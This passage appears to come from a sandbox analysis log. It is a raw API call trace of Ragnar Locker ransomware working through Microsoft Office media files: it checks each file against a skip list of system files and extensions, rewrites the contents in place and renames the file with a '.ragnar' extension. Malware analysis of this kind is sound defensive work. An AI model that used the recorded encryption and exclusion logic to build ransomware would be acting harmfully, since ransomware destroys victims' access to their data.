lpOverlapped=0x0) returned 1 [0095.620] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.620] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.620] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.620] GetProcessHeap () returned 0x580000 [0095.620] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.620] CloseHandle (hObject=0x104) returned 1 [0095.620] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF" [0095.620] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF.ragnar_FD7BD9FC" [0095.620] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0215086.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0215086.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.621] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c4ec00, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35c4ec00, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x3138, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216516.WMF", cAlternateFileName="")) returned 1 [0095.621] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.621] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0216516.WMF" | out: lpString1="J0216516.WMF") returned="J0216516.WMF" [0095.621] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF") returned=".WMF" [0095.621] lstrcmpiW (lpString1="J0216516.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.621] lstrcmpiW (lpString1="J0216516.WMF", lpString2="autorun.inf") returned 1 [0095.621] lstrcmpiW (lpString1="J0216516.WMF", lpString2="boot.ini") returned 1 [0095.621] lstrcmpiW (lpString1="J0216516.WMF", lpString2="bootfont.bin") returned 1 [0095.621] lstrcmpiW (lpString1="J0216516.WMF", lpString2="bootsect.bak") returned 1 [0095.621] lstrcmpiW (lpString1="J0216516.WMF", lpString2="bootmgr") returned 1 [0095.621] lstrcmpiW (lpString1="J0216516.WMF", lpString2="bootmgr.efi") returned 1 [0095.621] lstrcmpiW (lpString1="J0216516.WMF", lpString2="bootmgfw.efi") returned 1 [0095.621] lstrcmpiW (lpString1="J0216516.WMF", lpString2="desktop.ini") returned 1 [0095.621] lstrcmpiW (lpString1="J0216516.WMF", lpString2="iconcache.db") returned 1 [0095.621] lstrcmpiW (lpString1="J0216516.WMF", lpString2="ntldr") returned -1 [0095.622] lstrcmpiW (lpString1="J0216516.WMF", lpString2="ntuser.dat") returned -1 [0095.622] lstrcmpiW (lpString1="J0216516.WMF", lpString2="ntuser.dat.log") returned -1 [0095.622] lstrcmpiW (lpString1="J0216516.WMF", lpString2="ntuser.ini") returned -1 [0095.622] lstrcmpiW (lpString1="J0216516.WMF", lpString2="thumbs.db") returned -1 [0095.622] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.622] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.622] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.622] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.622] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.622] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.622] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf")) returned 0x20 [0095.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.623] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12600) returned 1 [0095.623] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x312f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.623] GetProcessHeap () returned 0x580000 [0095.623] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.623] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.624] VirtualAlloc (lpAddress=0x0, dwSize=0x3138, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.624] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.624] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.625] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3138, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3138, lpOverlapped=0x0) returned 1 [0095.626] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.626] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3138, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.626] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3138, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3138, lpOverlapped=0x0) returned 1 [0095.626] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3138, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.626] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.626] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x3138, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.626] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.626] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.626] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.626] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.627] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.627] GetProcessHeap () returned 0x580000 [0095.627] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.627] CloseHandle (hObject=0x104) returned 1 [0095.627] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF" [0095.627] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF.ragnar_FD7BD9FC" [0095.627] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216516.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216516.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.628] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e7ca500, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e7ca500, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x1c06, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216588.WMF", cAlternateFileName="")) returned 1 [0095.628] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.628] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0216588.WMF" | out: lpString1="J0216588.WMF") returned="J0216588.WMF" [0095.628] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF") returned=".WMF" [0095.628] lstrcmpiW (lpString1="J0216588.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.629] lstrcmpiW (lpString1="J0216588.WMF", lpString2="autorun.inf") returned 1 [0095.629] lstrcmpiW (lpString1="J0216588.WMF", lpString2="boot.ini") returned 1 [0095.629] lstrcmpiW (lpString1="J0216588.WMF", lpString2="bootfont.bin") returned 1 [0095.629] lstrcmpiW (lpString1="J0216588.WMF", lpString2="bootsect.bak") returned 1 [0095.629] lstrcmpiW (lpString1="J0216588.WMF", lpString2="bootmgr") returned 1 [0095.629] lstrcmpiW (lpString1="J0216588.WMF", lpString2="bootmgr.efi") returned 1 [0095.629] lstrcmpiW (lpString1="J0216588.WMF", lpString2="bootmgfw.efi") returned 1 [0095.629] lstrcmpiW (lpString1="J0216588.WMF", lpString2="desktop.ini") returned 1 [0095.629] lstrcmpiW (lpString1="J0216588.WMF", lpString2="iconcache.db") returned 1 [0095.629] lstrcmpiW (lpString1="J0216588.WMF", lpString2="ntldr") returned -1 [0095.629] lstrcmpiW (lpString1="J0216588.WMF", lpString2="ntuser.dat") returned -1 [0095.629] lstrcmpiW (lpString1="J0216588.WMF", lpString2="ntuser.dat.log") returned -1 [0095.629] lstrcmpiW (lpString1="J0216588.WMF", lpString2="ntuser.ini") returned -1 [0095.629] lstrcmpiW (lpString1="J0216588.WMF", lpString2="thumbs.db") returned -1 [0095.629] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.629] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.629] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.629] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.629] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.629] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.629] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf")) returned 0x20 [0095.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.630] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7174) returned 1 [0095.630] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1bfd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.630] GetProcessHeap () returned 0x580000 [0095.630] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.630] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.631] VirtualAlloc (lpAddress=0x0, dwSize=0x1c06, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.632] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.632] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.632] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1c06, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1c06, lpOverlapped=0x0) returned 1 [0095.632] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.633] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c06, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.633] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1c06, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1c06, lpOverlapped=0x0) returned 1 [0095.633] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c06, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.633] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.633] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1c06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.633] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.633] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.633] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.633] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.633] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.633] GetProcessHeap () returned 0x580000 [0095.633] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.633] CloseHandle (hObject=0x104) returned 1 [0095.634] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF" [0095.634] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF.ragnar_FD7BD9FC" [0095.634] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216588.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216588.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.634] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff3ba100, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xff3ba100, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x5d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216724.WMF", cAlternateFileName="")) returned 1 [0095.634] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.634] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0216724.WMF" | out: lpString1="J0216724.WMF") returned="J0216724.WMF" [0095.634] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF") returned=".WMF" [0095.634] lstrcmpiW (lpString1="J0216724.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.634] lstrcmpiW (lpString1="J0216724.WMF", lpString2="autorun.inf") returned 1 [0095.634] lstrcmpiW (lpString1="J0216724.WMF", lpString2="boot.ini") returned 1 [0095.635] lstrcmpiW (lpString1="J0216724.WMF", lpString2="bootfont.bin") returned 1 [0095.635] lstrcmpiW (lpString1="J0216724.WMF", lpString2="bootsect.bak") returned 1 [0095.635] lstrcmpiW (lpString1="J0216724.WMF", lpString2="bootmgr") returned 1 [0095.635] lstrcmpiW (lpString1="J0216724.WMF", lpString2="bootmgr.efi") returned 1 [0095.635] lstrcmpiW (lpString1="J0216724.WMF", lpString2="bootmgfw.efi") returned 1 [0095.635] lstrcmpiW (lpString1="J0216724.WMF", lpString2="desktop.ini") returned 1 [0095.635] lstrcmpiW (lpString1="J0216724.WMF", lpString2="iconcache.db") returned 1 [0095.635] lstrcmpiW (lpString1="J0216724.WMF", lpString2="ntldr") returned -1 [0095.635] lstrcmpiW (lpString1="J0216724.WMF", lpString2="ntuser.dat") returned -1 [0095.635] lstrcmpiW (lpString1="J0216724.WMF", lpString2="ntuser.dat.log") returned -1 [0095.635] lstrcmpiW (lpString1="J0216724.WMF", lpString2="ntuser.ini") returned -1 [0095.635] lstrcmpiW (lpString1="J0216724.WMF", lpString2="thumbs.db") returned -1 [0095.635] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.635] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.635] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.635] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.635] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.635] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.635] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf")) returned 0x20 [0095.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0216724.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0216724.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.636] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=23928) returned 1 [0095.636] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5d6f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.636] GetProcessHeap () returned 0x580000 [0095.636] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.636] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.638] VirtualAlloc (lpAddress=0x0, dwSize=0x5d78, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.638] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.638] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.638] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5d78, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5d78, lpOverlapped=0x0) returned 1 [0095.639] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.639] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5d78, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.639] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5d78, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5d78, lpOverlapped=0x0) returned 1 [0095.639] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5d78, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.639] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.640] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5d78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.640] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.640] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.640] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.640] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.640] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.640] GetProcessHeap () returned 0x580000 [0095.640] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.640] CloseHandle (hObject=0x104) returned 1 [0095.640] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft 